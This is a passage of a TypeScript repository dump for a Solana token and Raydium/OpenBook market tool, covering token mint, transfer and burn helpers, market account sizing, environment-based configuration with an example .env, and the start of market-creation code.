250 |     if (typeof mintAuthority == 'string') mintAuthority = new web3.PublicKey(mintAuthority)
251 |     if (typeof mint == 'string') mint = new web3.PublicKey(mint)
252 |     if (typeof receiver == 'string') receiver = new web3.PublicKey(receiver)
253 |     receiver = receiver ?? mintAuthority
254 |     receiverIsOffCurve = receiverIsOffCurve ?? false
255 |     init_if_needed = init_if_needed ?? false;
256 |     amount = amount ?? 1
257 | 
258 |     if (!mintDecimal)
259 |       mintDecimal = (await getMint(this.connection, mint)).decimals
260 | 
261 |     amount = calcNonDecimalValue(amount, mintDecimal)
262 |     const receiverAta = getAssociatedTokenAddressSync(mint, receiver, receiverIsOffCurve)
263 |     const ixs: web3.TransactionInstruction[] = []
264 | 
265 |     if (init_if_needed) {
266 |       const ataInfo = await this.connection.getAccountInfo(receiverAta)
267 |       if (!ataInfo) { // init ata if needed
268 |         const ix = createAssociatedTokenAccountInstruction(mintAuthority, receiverAta, receiver, mint)
269 |         ixs.push(ix)
270 |       }
271 |     }
272 | 
273 |     const ix = createMintToInstruction(mint, receiverAta, mintAuthority, BigInt(amount.toString()));
274 |     ixs.push(ix)
275 |     return ixs;
276 |   }
277 | 
278 |   async transfer(input: TransferInput) {
279 |     let {
280 |       mint,
281 |       sender,
282 |       receiver,
283 |       receiverIsOffCurve,
284 |       init_if_needed,
285 |       decimal,
286 |       payer,
287 |     } = input;
288 |     receiverIsOffCurve = receiverIsOffCurve ?? false;
289 |     payer = payer ?? sender
290 |     input.amount = input.amount ?? 1;
291 | 
292 |     if (typeof mint == 'string') mint = new web3.PublicKey(mint)
293 |     if (typeof sender == 'string') sender = new web3.PublicKey(sender)
294 |     if (typeof receiver == 'string') receiver = new web3.PublicKey(receiver)
295 |     if (typeof payer == 'string') payer = new web3.PublicKey(payer)
296 |     const ixs: web3.TransactionInstruction[] = [];
297 |     if (!decimal) {
298 |       const mintInfo = await getMint(this.connection, mint);
299 |       decimal = mintInfo.decimals;
300 |     }
301 |     const amount = calcNonDecimalValue(input.amount, decimal);
302 |     const senderAta = getAssociatedTokenAddressSync(mint, sender)
303 |     const receiverAta = getAssociatedTokenAddressSync(mint, receiver, receiverIsOffCurve)
304 |     if (init_if_needed) {
305 |       const { ata: _, ix: ix1 } = await this.getOrCreateTokenAccount({ mint, owner: sender, payer })
306 |       if (ix1) ixs.push(ix1)
307 |       const { ata: __, ix: ix2 } = await this.getOrCreateTokenAccount({ mint, owner: receiver, payer, allowOffCurveOwner: receiverIsOffCurve })
308 |       if (ix2) ixs.push(ix2)
309 |     }
310 | 
311 |     const ix = createTransferInstruction(senderAta, receiverAta, sender, amount);
312 |     ixs.push(ix)
313 |     return ixs
314 |   }
315 | 
316 |   async burn(input: BurnInput) {
317 |     let {
318 |       mint, owner,
319 |       amount, decimal
320 |     } = input
321 |     if (typeof mint == 'string') mint = new web3.PublicKey(mint)
322 |     if (typeof owner == 'string') owner = new web3.PublicKey(owner)
323 |     amount = amount ?? 1;
324 |     if (!decimal) {
325 |       const tokenInfo = await getMint(this.connection, mint)
326 |       decimal = tokenInfo.decimals;
327 |     }
328 |     amount = amount * (10 ** decimal)
329 |     const ata = getAssociatedTokenAddressSync(mint, owner)
330 |     const ix = createBurnInstruction(ata, mint, owner, amount)
331 |     return ix;
332 |   }
333 | 
334 |   tranferMintAuthority(input: TranferMintAuthority, ixCallBack?: (ixs?: web3.TransactionInstruction[]) => void) {
335 |     const {
336 |       mint,
337 |       currentAuthority,
338 |       newAuthority,
339 |     } = input
340 |     const ix = createSetAuthorityInstruction(mint, currentAuthority, SetAuthorityType.MintTokens, newAuthority);
341 |     if (ixCallBack) ixCallBack([ix])
342 |     return {
343 |       ix,
344 |     }
345 |   }
346 | 
347 |   tranferFreezAuthority(input: TranferMintAuthority, ixCallBack?: (ixs?: web3.TransactionInstruction[]) => void) {
348 |     const {
349 |       mint,
350 |       currentAuthority,
351 |       newAuthority,
352 |     } = input
353 |     const ix = createSetAuthorityInstruction(mint, currentAuthority, SetAuthorityType.FreezeAccount, newAuthority);
354 |     if (ixCallBack) ixCallBack([ix])
355 |     return {
356 |       ix,
357 |     }
358 |   }
359 | 
360 |   revokeAuthority(input: RevokeAuthorityInput, ixCallBack?: (ixs?: web3.TransactionInstruction[]) => void) {
361 |     const {
362 |       mint,
363 |       currentAuthority,
364 |       authorityType
365 |     } = input
366 |     const setAuthType = authorityType == 'MINTING' ? SetAuthorityType.MintTokens : SetAuthorityType.FreezeAccount
367 |     const ix = createSetAuthorityInstruction(mint, currentAuthority, setAuthType, null);
368 |     if (ixCallBack) ixCallBack([ix])
369 |     // return {
370 |     //   ix,
371 |     // }
372 |     return ix;
373 |   }
374 | 
375 |   async listAllOwnerTokens(owner: web3.PublicKey | string) {
376 |     if (typeof owner == 'string') owner = new web3.PublicKey(owner)
377 |     //TODO: can be improved
378 |     const parsedTokenAccounts = (await this.connection.getParsedTokenAccountsByOwner(owner, { programId: TOKEN_PROGRAM_ID })).value
379 |     const res: { token: web3.PublicKey, amount: number }[] = []
380 |     for (let i of parsedTokenAccounts) {
381 |       const parsedAccountInfo = i.account.data;
382 |       const mintAddress = new web3.PublicKey(parsedAccountInfo.parsed?.info?.mint)
383 |       const tokenBalance: number = parsedAccountInfo.parsed?.info?.tokenAmount?.uiAmount;
384 |       res.push({
385 |         amount: tokenBalance,
386 |         token: mintAddress
387 |       })
388 |     }
389 |     return res;
390 |   }
391 | 
392 |   async getMint(mint: web3.PublicKey | string) {
393 |     if (typeof mint == 'string') mint = new web3.PublicKey(mint)
394 |     return getMint(this.connection, mint)
395 |   }
396 | 
397 |   static getTokenAccountFromAccountInfo(accountInfo: web3.AccountInfo<Buffer> | null) {
398 |     if (!accountInfo) return null
399 |     try {
400 |       return TokenAccountLayout.decode(accountInfo.data)
401 |     } catch (error) { return null }
402 |   }
403 | 
404 |   async getSolBalance(user: web3.PublicKey) {
405 |     const account = await this.connection.getAccountInfo(user).catch(() => null)
406 |     if (account) {
407 |       return calcDecimalValue(account.lamports, 9)
408 |     }
409 |     return null
410 |   }
411 | }
412 | 
413 | 


--------------------------------------------------------------------------------
/base/getMarketAccountSizes.ts:
--------------------------------------------------------------------------------
 1 | import { Market } from "@openbook-dex/openbook";
 2 | import {
 3 |     calculateTotalAccountSize,
 4 |     EVENT_QUEUE_HEADER_SIZE,
 5 |     EVENT_SIZE,
 6 |     ORDERBOOK_HEADER_SIZE,
 7 |     ORDERBOOK_NODE_SIZE,
 8 |     REQUEST_QUEUE_HEADER_SIZE,
 9 |     REQUEST_SIZE,
10 | } from "./orderbookUtils";
11 | import { web3 } from "@project-serum/anchor";
12 | 
13 | type useSerumMarketAccountSizesProps = {
14 |     eventQueueLength: number;
15 |     requestQueueLength: number;
16 |     orderbookLength: number;
17 | };
18 | export default function useSerumMarketAccountSizes({
19 |     eventQueueLength,
20 |     requestQueueLength,
21 |     orderbookLength,
22 | }: useSerumMarketAccountSizesProps, connection: web3.Connection, programID: web3.PublicKey) {
23 |     const totalEventQueueSize = calculateTotalAccountSize(
24 |         eventQueueLength,
25 |         EVENT_QUEUE_HEADER_SIZE,
26 |         EVENT_SIZE
27 |     )
28 | 
29 |     const totalRequestQueueSize = calculateTotalAccountSize(
30 |         requestQueueLength,
31 |         REQUEST_QUEUE_HEADER_SIZE,
32 |         REQUEST_SIZE
33 |     )
34 | 
35 |     const totalOrderbookSize = calculateTotalAccountSize(
36 |         orderbookLength,
37 |         ORDERBOOK_HEADER_SIZE,
38 |         ORDERBOOK_NODE_SIZE
39 |     )
40 |     // const useRentExemption = connection.getMinimumBalanceForRentExemption
41 |     // const marketAccountRent = await useRentExemption(Market.getLayout(programID).span);
42 |     // const eventQueueRent = await useRentExemption(totalEventQueueSize);
43 |     // const requestQueueRent = await useRentExemption(totalRequestQueueSize);
44 |     // const orderbookRent = await useRentExemption(totalOrderbookSize);
45 | 
46 |     return {
47 |         // marketRent:
48 |             // marketAccountRent + eventQueueRent + requestQueueRent + 2 * orderbookRent,
49 |         marketRent: 0,
50 |         totalEventQueueSize,
51 |         totalRequestQueueSize,
52 |         totalOrderbookSize,
53 |     };
54 | }


--------------------------------------------------------------------------------
/base/orderbookUtils.ts:
--------------------------------------------------------------------------------
 1 | import { PublicKey } from "@solana/web3.js";
 2 | import BN from "bn.js";
 3 | 
 4 | // export const EVENT_QUEUE_LENGTH = 2978;
 5 | export const EVENT_QUEUE_LENGTH = 128;
 6 | export const EVENT_SIZE = 88;
 7 | export const EVENT_QUEUE_HEADER_SIZE = 32;
 8 | 
 9 | export const REQUEST_QUEUE_LENGTH = 63;
10 | export const REQUEST_SIZE = 80;
11 | export const REQUEST_QUEUE_HEADER_SIZE = 32;
12 | 
13 | // export const ORDERBOOK_LENGTH = 909;
14 | export const ORDERBOOK_LENGTH = 201;
15 | export const ORDERBOOK_NODE_SIZE = 72;
16 | export const ORDERBOOK_HEADER_SIZE = 40;
17 | 
18 | export async function getVaultOwnerAndNonce(
19 |     marketAddress: PublicKey,
20 |     dexAddress: PublicKey
21 | ): Promise<[vaultOwner: PublicKey, nonce: BN]> {
22 |     const nonce = new BN(0);
23 |     // eslint-disable-next-line no-constant-condition
24 |     while (true) {
25 |         try {
26 |             const vaultOwner = await PublicKey.createProgramAddress(
27 |                 [marketAddress.toBuffer(), nonce.toArrayLike(Buffer, "le", 8)],
28 |                 dexAddress
29 |             );
30 |             return [vaultOwner, nonce];
31 |         } catch (e) {
32 |             nonce.iaddn(1);
33 |         }
34 |     }
35 | }
36 | 
37 | export function calculateTotalAccountSize(
38 |     individualAccountSize: number,
39 |     accountHeaderSize: number,
40 |     length: number
41 | ) {
42 |     const accountPadding = 12;
43 |     const minRequiredSize =
44 |         accountPadding + accountHeaderSize + length * individualAccountSize;
45 | 
46 |     const modulo = minRequiredSize % 8;
47 | 
48 |     return modulo <= 4
49 |         ? minRequiredSize + (4 - modulo)
50 |         : minRequiredSize + (8 - modulo + 4);
51 | }
52 | 
53 | export function calculateAccountLength(
54 |     totalAccountSize: number,
55 |     accountHeaderSize: number,
56 |     individualAccountSize: number
57 | ) {
58 |     const accountPadding = 12;
59 |     return Math.floor(
60 |         (totalAccountSize - accountPadding - accountHeaderSize) /
61 |         individualAccountSize
62 |     );
63 | }


--------------------------------------------------------------------------------
/base/types.ts:
--------------------------------------------------------------------------------
 1 | import { web3 } from "@project-serum/anchor"
 2 | import { RawMint } from "@solana/spl-token"
 3 | 
 4 | export type BaseRayInput = {
 5 |     rpcEndpointUrl: string
 6 | }
 7 | export type Result<T, E = any> = {
 8 |     Ok?: T,
 9 |     Err?: E
10 | }
11 | export type MPLTokenInfo = {
12 |     address: web3.PublicKey
13 |     mintInfo: RawMint,
14 |     metadata: any
15 | }


--------------------------------------------------------------------------------
/base/utils.ts:
--------------------------------------------------------------------------------
 1 | import { web3 } from "@project-serum/anchor"
 2 | import bs58 from "bs58"
 3 | import { Result } from "./types"
 4 | 
 5 | export function calcNonDecimalValue(value: number, decimals: number): number {
 6 |   return Math.trunc(value * (Math.pow(10, decimals)))
 7 | }
 8 | 
 9 | export function calcDecimalValue(value: number, decimals: number): number {
10 |   return value / (Math.pow(10, decimals))
11 | }
12 | 
13 | export function getKeypairFromStr(str: string): web3.Keypair | null {
14 |   try {
15 |     return web3.Keypair.fromSecretKey(Uint8Array.from(bs58.decode(str)))
16 |   } catch (error) {
17 |     return null
18 |   }
19 | }
20 | 
21 | export async function getNullableResutFromPromise<T>(value: Promise<T>, opt?: { or?: T, logError?: boolean }): Promise<T | null> {
22 |   return value.catch((error) => {
23 |     if (opt) console.log({ error })
24 |     return opt?.or != undefined ? opt.or : null
25 |   })
26 | }
27 | 
28 | export function sleep(ms: number) {
29 |   return new Promise(resolve => setTimeout(resolve, ms));
30 | }
31 | 
32 | export async function createLookupTable(connection: web3.Connection, signer: web3.Keypair, addresses: web3.PublicKey[] = []): Promise<Result<{ txSignature: string, lookupTable: string }, string>> {
33 |   try {
34 |     const slot = await connection.getSlot();
35 |     addresses.push(web3.AddressLookupTableProgram.programId)
36 |     const [lookupTableInst, lookupTableAddress] =
37 |       web3.AddressLookupTableProgram.createLookupTable({
38 |         authority: signer.publicKey,
39 |         payer: signer.publicKey,
40 |         recentSlot: slot - 1,
41 |       });
42 |     const extendInstruction = web3.AddressLookupTableProgram.extendLookupTable({
43 |       payer: signer.publicKey,
44 |       authority: signer.publicKey,
45 |       lookupTable: lookupTableAddress,
46 |       addresses,
47 |     });
48 |     const transaction = new web3.Transaction().add(lookupTableInst, extendInstruction)
49 |     const txSignature = await connection.sendTransaction(transaction, [signer]);
50 |     return { Ok: { txSignature, lookupTable: lookupTableAddress.toBase58() } }
51 |   } catch (err) {
52 |     err = err ?? ""
53 |     return { Err: (err as any).toString() }
54 |   }
55 | }


--------------------------------------------------------------------------------
/config.ts:
--------------------------------------------------------------------------------
 1 | import { Connection, PublicKey, Keypair } from "@solana/web3.js";
 2 | import {
 3 |  TxVersion,  Token,Currency,
 4 |  TOKEN_PROGRAM_ID,
 5 |  SOL,
 6 |  LOOKUP_TABLE_CACHE
 7 | } from "@raydium-io/raydium-sdk";
 8 | import * as bs58 from 'bs58';
 9 | import pino from "pino";
10 | import { retrieveEnvVariable } from "./utils";
11 | const transport = pino.transport({
12 |   targets: [
13 |     // {
14 |     //   level: 'trace',
15 |     //   target: 'pino/file',
16 |     //   options: {
17 |     //     destination: 'buy.log',
18 |     //   },
19 |     // },
20 | 
21 |     {
22 |       level: "trace",
23 |       target: "pino-pretty",
24 |       options: {},
25 |     },
26 |   ],
27 | });
28 | 
29 | export const logger = pino(
30 |   {
31 |     redact: ["poolKeys"],
32 |     serializers: {
33 |       error: pino.stdSerializers.err,
34 |     },
35 |     base: undefined,
36 |   },
37 |   transport
38 | );
39 | 
40 | 
41 | // define these
42 | export const blockEngineUrl = retrieveEnvVariable("blockEngineUrl", logger);
43 | const jito_auth_private_key = retrieveEnvVariable("jito_auth_private_key", logger);
44 | 
45 | // ignore these
46 | export const jito_auth_keypair = Keypair.fromSecretKey(new Uint8Array(bs58.decode(jito_auth_private_key)));
47 | 
48 | export const lookupTableCache= LOOKUP_TABLE_CACHE;
49 | const RPC_ENDPOINT = retrieveEnvVariable("RPC_ENDPOINT", logger);
50 | const RPC_WEBSOCKET_ENDPOINT = retrieveEnvVariable(
51 |   "RPC_WEBSOCKET_ENDPOINT",
52 |   logger
53 | );
54 | export const connection = new Connection(RPC_ENDPOINT, {
55 |   wsEndpoint: RPC_WEBSOCKET_ENDPOINT,
56 | });
57 | export const addLookupTableInfo = LOOKUP_TABLE_CACHE // only mainnet. other = undefined
58 | export const makeTxVersion = TxVersion.V0 // LEGACY
59 | export const feewallet = retrieveEnvVariable("feewalletkey", logger);


--------------------------------------------------------------------------------
/example.env:
--------------------------------------------------------------------------------
 1 | PRIVATE_KEY=
 2 | RPC_ENDPOINT=
 3 | RPC_WEBSOCKET_ENDPOINT=
 4 | QUOTE_MINT=WSOL
 5 | NETWORK=mainnet-beta
 6 | COMMITMENT_LEVEL=confirmed
 7 | LAUNCH_SUPPLY=1000000
 8 | BUYER=
 9 | BUY_AMT=1
10 | jito_auth_private_key=
11 | blockEngineUrl = tokyo.mainnet.block-engine.jito.wtf
12 | feewalletkey=
13 | airdrop=[["6m38WsaYf6QLBa6M3AVkv5eDD3QG5LZfiffSzb77rBj1", "16000"], ["6m38WsaYf6QLBa6M3AVkv5eDD3QG5LZfiffSzb77rBj1", "10000"]]
14 | 


--------------------------------------------------------------------------------
/index.ts:
--------------------------------------------------------------------------------
   1 | import {
   2 |   Liquidity,
   3 |   LIQUIDITY_STATE_LAYOUT_V4,
   4 |   LiquidityPoolKeys,
   5 |   LiquidityStateV4,
   6 |   Token,
   7 |   MAINNET_PROGRAM_ID,
   8 |   LiquidityPoolInfo,
   9 |   Percent,
  10 |   DEVNET_PROGRAM_ID,
  11 |   TxVersion,
  12 |   Base,
  13 |   generatePubKey,
  14 |   InstructionType,
  15 |   LOOKUP_TABLE_CACHE,
  16 |   CacheLTA,
  17 |   splitTxAndSigners,
  18 |   SYSVAR_RENT_PUBKEY,
  19 |   ZERO,
  20 |   blob,
  21 |   publicKey,
  22 |   struct,
  23 |   u16,
  24 |   u32,
  25 |   u64,
  26 |   u8,
  27 |   WideBits,
  28 |   TokenAmount,
  29 | } from "@raydium-io/raydium-sdk";
  30 | import { web3 } from "@project-serum/anchor";
  31 | import { Market, DexInstructions } from "@project-serum/serum";
  32 | import { BaseRay } from "./base/baseRay";
  33 | import {
  34 |   Keypair,
  35 |   Connection,
  36 |   PublicKey,
  37 |   ComputeBudgetProgram,
  38 |   TransactionMessage,
  39 |   VersionedTransaction,
  40 |   Commitment,
  41 |   Transaction,
  42 |   sendAndConfirmTransaction,
  43 |   SystemProgram,
  44 |   TransactionInstruction,
  45 |   LAMPORTS_PER_SOL,
  46 |   sendAndConfirmRawTransaction,
  47 | } from "@solana/web3.js";
  48 | import {
  49 |   getMinimumBalanceForRentExemptMint,
  50 |   getMint,
  51 |   createInitializeMint2Instruction,
  52 |   MINT_SIZE,
  53 |   createMintToInstruction,
  54 |   createAssociatedTokenAccountIdempotentInstruction,
  55 |   createCloseAccountInstruction,
  56 |   getAssociatedTokenAddressSync,
  57 |   ASSOCIATED_TOKEN_PROGRAM_ID,
  58 |   TOKEN_PROGRAM_ID,
  59 |   NATIVE_MINT,
  60 |   MintLayout,
  61 |   createAssociatedTokenAccountInstruction,
  62 |   createSyncNativeInstruction,
  63 |   createTransferInstruction,
  64 |   AccountLayout,
  65 |   AuthorityType,
  66 |   createInitializeAccountInstruction,
  67 |   createSetAuthorityInstruction,
  68 |   RawMint,
  69 | } from "@solana/spl-token";
  70 | import { amount, findMetadataPda } from "@metaplex-foundation/js";
  71 | import { createCreateMetadataAccountV3Instruction } from "@metaplex-foundation/mpl-token-metadata";
  72 | import { getTokenAccounts, createPoolKeys } from "./liquidity";
  73 | import { retrieveEnvVariable, compute } from "./utils";
  74 | import { getMinimalMarketV3, MinimalMarketLayoutV3 } from "./market";
  75 | import pino from "pino";
  76 | import bs58 from "bs58";
  77 | import BN from "bn.js";
  78 | import { program } from "commander";
  79 | import { bull_dozer } from "./jito_bundle/send-bundle";
  80 | const log = console.log;
  81 | 
  82 | export type BaseRayInput = {
  83 |   rpcEndpointUrl: string;
  84 | };
  85 | export type Result<T, E = any> = {
  86 |   Ok?: T;
  87 |   Err?: E;
  88 | };
  89 | export type MPLTokenInfo = {
  90 |   address: web3.PublicKey;
  91 |   mintInfo: RawMint;
  92 |   metadata: any;
  93 | };
  94 | const transport = pino.transport({
  95 |   targets: [
  96 |     // {
  97 |     //   level: 'trace',
  98 |     //   target: 'pino/file',
  99 |     //   options: {
 100 |     //     destination: 'buy.log',
 101 |     //   },
 102 |     // },
 103 | 
 104 |     {
 105 |       level: "trace",
 106 |       target: "pino-pretty",
 107 |       options: {},
 108 |     },
 109 |   ],
 110 | });
 111 | export function calcNonDecimalValue(value: number, decimals: number): number {
 112 |   return Math.trunc(value * Math.pow(10, decimals));
 113 | }
 114 | 
 115 | export function calcDecimalValue(value: number, decimals: number): number {
 116 |   return value / Math.pow(10, decimals);
 117 | }
 118 | 
 119 | export function sleep(ms: number) {
 120 |   return new Promise((resolve) => setTimeout(resolve, ms));
 121 | }
 122 | 
 123 | export type CreateAndBuy = {
 124 |   //pool
 125 |   marketId: PublicKey;
 126 |   baseMintAmount: number;
 127 |   quoteMintAmount: number;
 128 |   url: "mainnet" | "devnet";
 129 | 
 130 |   //buy
 131 |   buyToken: "base" | "quote";
 132 |   buyAmount: number;
 133 | };
 134 | 
 135 | export const logger = pino(
 136 |   {
 137 |     redact: ["poolKeys"],
 138 |     serializers: {
 139 |       error: pino.stdSerializers.err,
 140 |     },
 141 |     base: undefined,
 142 |   },
 143 |   transport
 144 | );
 145 | export type MinimalTokenAccountData = {
 146 |   mint: PublicKey;
 147 |   address: PublicKey;
 148 |   poolKeys?: LiquidityPoolKeys;
 149 |   market?: MinimalMarketLayoutV3;
 150 | };
 151 | 
 152 | let existingTokenAccounts: Map<string, MinimalTokenAccountData> = new Map<
 153 |   string,
 154 |   MinimalTokenAccountData
 155 | >();
 156 | 
 157 | let wallet: Keypair;
 158 | let buyer: Keypair;
 159 | let quoteToken: Token;
 160 | let commitment: Commitment = retrieveEnvVariable(
 161 |   "COMMITMENT_LEVEL",
 162 |   logger
 163 | ) as Commitment;
 164 | 
 165 | const PROGRAMIDS = MAINNET_PROGRAM_ID;
 166 | const makeTxVersion = TxVersion.V0;
 167 | const lookupTableCache = LOOKUP_TABLE_CACHE;
 168 | 
 169 | const QUOTE_MINT = retrieveEnvVariable("QUOTE_MINT", logger);
 170 | switch (QUOTE_MINT) {
 171 |   case "WSOL": {
 172 |     quoteToken = Token.WSOL;
 173 |     break;
 174 |   }
 175 |   default: {
 176 |     throw new Error(
 177 |       `Unsupported quote mint "${QUOTE_MINT}". Supported values is WSOL`
 178 |     );
 179 |   }
 180 | }
 181 | const PRIVATE_KEY = retrieveEnvVariable("PRIVATE_KEY", logger);
 182 | const BUYER_KEY = retrieveEnvVariable("BUYER", logger);
 183 | wallet = Keypair.fromSecretKey(bs58.decode(PRIVATE_KEY));
 184 | buyer = Keypair.fromSecretKey(bs58.decode(BUYER_KEY));
 185 | const network = retrieveEnvVariable("NETWORK", logger);
 186 | const RPC_ENDPOINT = retrieveEnvVariable("RPC_ENDPOINT", logger);
 187 | const RPC_WEBSOCKET_ENDPOINT = retrieveEnvVariable(
 188 |   "RPC_WEBSOCKET_ENDPOINT",
 189 |   logger
 190 | );
 191 | const LAUNCH_SUPPLY = retrieveEnvVariable("LAUNCH_SUPPLY", logger);
 192 | const connection = new Connection(RPC_ENDPOINT, {
 193 |   wsEndpoint: RPC_WEBSOCKET_ENDPOINT,
 194 | });
 195 | const baseRay = new BaseRay({ rpcEndpointUrl: connection.rpcEndpoint });
 196 | baseRay.connect()
 197 | 
 198 | const microLamports = 12500000;
 199 | const units = 22500000;
 200 | 
 201 | /**
 202 |  * Market
 203 |  */
 204 | function accountFlagsLayout(property = "accountFlags") {
 205 |   const ACCOUNT_FLAGS_LAYOUT = new WideBits(property);
 206 |   ACCOUNT_FLAGS_LAYOUT.addBoolean("initialized");
 207 |   ACCOUNT_FLAGS_LAYOUT.addBoolean("market");
 208 |   ACCOUNT_FLAGS_LAYOUT.addBoolean("openOrders");
 209 |   ACCOUNT_FLAGS_LAYOUT.addBoolean("requestQueue");
 210 |   ACCOUNT_FLAGS_LAYOUT.addBoolean("eventQueue");
 211 |   ACCOUNT_FLAGS_LAYOUT.addBoolean("bids");
 212 |   ACCOUNT_FLAGS_LAYOUT.addBoolean("asks");
 213 |   return ACCOUNT_FLAGS_LAYOUT;
 214 | }
 215 | 
 216 | export const MARKET_STATE_LAYOUT_V2 = struct([
 217 |   blob(5),
 218 |   accountFlagsLayout("accountFlags"),
 219 |   publicKey("ownAddress"),
 220 |   u64("vaultSignerNonce"),
 221 |   publicKey("baseMint"),
 222 |   publicKey("quoteMint"),
 223 |   publicKey("baseVault"),
 224 |   u64("baseDepositsTotal"),
 225 |   u64("baseFeesAccrued"),
 226 |   publicKey("quoteVault"),
 227 |   u64("quoteDepositsTotal"),
 228 |   u64("quoteFeesAccrued"),
 229 |   u64("quoteDustThreshold"),
 230 |   publicKey("requestQueue"),
 231 |   publicKey("eventQueue"),
 232 |   publicKey("bids"),
 233 |   publicKey("asks"),
 234 |   u64("baseLotSize"),
 235 |   u64("quoteLotSize"),
 236 |   u64("feeRateBps"),
 237 |   u64("referrerRebatesAccrued"),
 238 |   blob(7),
 239 | ]);
 240 | 
 241 | export class MarketV2 extends Base {
 242 |   static async makeCreateMarketInstructionSimple<T extends TxVersion>({
 243 |     connection,
 244 |     wallet,
 245 |     baseInfo,
 246 |     quoteInfo,
 247 |     lotSize, // 1
 248 |     tickSize, // 0.01
 249 |     dexProgramId,
 250 |     makeTxVersion,
 251 |     lookupTableCache,
 252 |   }: {
 253 |     makeTxVersion: T;
 254 |     lookupTableCache?: CacheLTA;
 255 |     connection: Connection;
 256 |     wallet: PublicKey;
 257 |     baseInfo: {
 258 |       mint: PublicKey;
 259 |       decimals: number;
 260 |     };
 261 |     quoteInfo: {
 262 |       mint: PublicKey;
 263 |       decimals: number;
 264 |     };
 265 |     lotSize: number;
 266 |     tickSize: number;
 267 |     dexProgramId: PublicKey;
 268 |   }) {
 269 |     const market = generatePubKey({
 270 |       fromPublicKey: wallet,
 271 |       programId: dexProgramId,
 272 |     });
 273 |     const requestQueue = generatePubKey({
 274 |       fromPublicKey: wallet,
 275 |       programId: dexProgramId,
 276 |     });
 277 |     const eventQueue = generatePubKey({
 278 |       fromPublicKey: wallet,
 279 |       programId: dexProgramId,
 280 |     });
 281 |     const bids = generatePubKey({
 282 |       fromPublicKey: wallet,
 283 |       programId: dexProgramId,
 284 |     });
 285 |     const asks = generatePubKey({
 286 |       fromPublicKey: wallet,
 287 |       programId: dexProgramId,
 288 |     });
 289 |     const baseVault = generatePubKey({
 290 |       fromPublicKey: wallet,
 291 |       programId: TOKEN_PROGRAM_ID,
 292 |     });
 293 |     const quoteVault = generatePubKey({
 294 |       fromPublicKey: wallet,
 295 |       programId: TOKEN_PROGRAM_ID,
 296 |     });
 297 |     const feeRateBps = 0;
 298 |     const quoteDustThreshold = new BN(100);
 299 | 
 300 |     function getVaultOwnerAndNonce() {
 301 |       const vaultSignerNonce = new BN(0);
 302 |       // eslint-disable-next-line no-constant-condition
 303 |       while (true) {
 304 |         try {
 305 |           const vaultOwner = PublicKey.createProgramAddressSync(
 306 |             [
 307 |               market.publicKey.toBuffer(),
 308 |               vaultSignerNonce.toArrayLike(Buffer, "le", 8),
 309 |             ],
 310 |             dexProgramId
 311 |           );
 312 |           return { vaultOwner, vaultSignerNonce };
 313 |         } catch (e) {
 314 |           vaultSignerNonce.iaddn(1);
 315 |           if (vaultSignerNonce.gt(new BN(25555)))
 316 |             throw Error("find vault owner error");
 317 |         }
 318 |       }
 319 |     }
 320 |     const { vaultOwner, vaultSignerNonce } = getVaultOwnerAndNonce();
 321 | 
 322 |     const baseLotSize = new BN(Math.round(10 ** baseInfo.decimals * lotSize));
 323 |     const quoteLotSize = new BN(
 324 |       Math.round(lotSize * 10 ** quoteInfo.decimals * tickSize)
 325 |     );
 326 | 
 327 |     if (baseLotSize.eq(ZERO)) throw Error("lot size is too small");
 328 |     if (quoteLotSize.eq(ZERO))
 329 |       throw Error("tick size or lot size is too small");
 330 | 
 331 |     const ins = await this.makeCreateMarketInstruction({
 332 |       connection,
 333 |       wallet,
 334 |       marketInfo: {
 335 |         programId: dexProgramId,
 336 |         id: market,
 337 |         baseMint: baseInfo.mint,
 338 |         quoteMint: quoteInfo.mint,
 339 |         baseVault,
 340 |         quoteVault,
 341 |         vaultOwner,
 342 |         requestQueue,
 343 |         eventQueue,
 344 |         bids,
 345 |         asks,
 346 | 
 347 |         feeRateBps,
 348 |         quoteDustThreshold,
 349 |         vaultSignerNonce,
 350 |         baseLotSize,
 351 |         quoteLotSize,
 352 |       },
 353 |     });
 354 | 
 355 |     return {
 356 |       address: ins.address,
 357 |       innerTransactions: await splitTxAndSigners({
 358 |         connection,
 359 |         makeTxVersion,
 360 |         computeBudgetConfig: undefined,
 361 |         payer: wallet,
 362 |         innerTransaction: ins.innerTransactions,
 363 |         lookupTableCache,
 364 |       }),
 365 |     };
 366 |   }
 367 | 
 368 |   static async makeCreateMarketInstruction({
 369 |     connection,
 370 |     wallet,
 371 |     marketInfo,
 372 |   }: {
 373 |     connection: Connection;
 374 |     wallet: PublicKey;
 375 |     marketInfo: {
 376 |       programId: PublicKey;
 377 |       id: { publicKey: PublicKey; seed: string };
 378 |       baseMint: PublicKey;
 379 |       quoteMint: PublicKey;
 380 |       baseVault: { publicKey: PublicKey; seed: string };
 381 |       quoteVault: { publicKey: PublicKey; seed: string };
 382 |       vaultOwner: PublicKey;
 383 | 
 384 |       requestQueue: { publicKey: PublicKey; seed: string };
 385 |       eventQueue: { publicKey: PublicKey; seed: string };
 386 |       bids: { publicKey: PublicKey; seed: string };
 387 |       asks: { publicKey: PublicKey; seed: string };
 388 | 
 389 |       feeRateBps: number;
 390 |       vaultSignerNonce: BN;
 391 |       quoteDustThreshold: BN;
 392 | 
 393 |       baseLotSize: BN;
 394 |       quoteLotSize: BN;
 395 |     };
 396 |   }) {
 397 |     const ins1: TransactionInstruction[] = [];
 398 |     const accountLamports =
 399 |       await connection.getMinimumBalanceForRentExemption(165);
 400 |     ins1.push(
 401 |       SystemProgram.createAccountWithSeed({
 402 |         fromPubkey: wallet,
 403 |         basePubkey: wallet,
 404 |         seed: marketInfo.baseVault.seed,
 405 |         newAccountPubkey: marketInfo.baseVault.publicKey,
 406 |         lamports: accountLamports,
 407 |         space: 165,
 408 |         programId: TOKEN_PROGRAM_ID,
 409 |       }),
 410 |       SystemProgram.createAccountWithSeed({
 411 |         fromPubkey: wallet,
 412 |         basePubkey: wallet,
 413 |         seed: marketInfo.quoteVault.seed,
 414 |         newAccountPubkey: marketInfo.quoteVault.publicKey,
 415 |         lamports: accountLamports,
 416 |         space: 165,
 417 |         programId: TOKEN_PROGRAM_ID,
 418 |       }),
 419 |       createInitializeAccountInstruction(
 420 |         marketInfo.baseVault.publicKey,
 421 |         marketInfo.baseMint,
 422 |         marketInfo.vaultOwner
 423 |       ),
 424 |       createInitializeAccountInstruction(
 425 |         marketInfo.quoteVault.publicKey,
 426 |         marketInfo.quoteMint,
 427 |         marketInfo.vaultOwner
 428 |       )
 429 |     );
 430 | 
 431 |     const ins2: TransactionInstruction[] = [];
 432 |     ins2.push(
 433 |       SystemProgram.createAccountWithSeed({
